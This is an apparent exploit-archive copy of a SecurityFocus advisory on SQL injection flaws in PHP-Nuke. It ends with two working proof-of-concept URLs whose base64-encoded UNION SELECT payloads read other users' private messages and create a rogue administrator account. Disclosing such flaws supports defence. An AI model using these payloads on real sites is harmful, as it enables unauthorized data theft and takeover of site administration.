11 lines
No EOL
872 B
Text
11 lines
No EOL
872 B
Text
source: http://www.securityfocus.com/bid/10135/info
|
|
|
|
Reportedly PHP-Nuke is prone to multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input.
|
|
|
|
As a result of these issues an attacker could modify the logic and structure of database queries. Other attacks may also be possible, such as gaining access to sensitive information.
|
|
|
|
To read arbitrary users private messages:
|
|
http://www.example.com/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox
|
|
|
|
To create an arbitrary administrator account with username "waraxe2" and password "coolpass":
|
|
http://www.example.com/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox |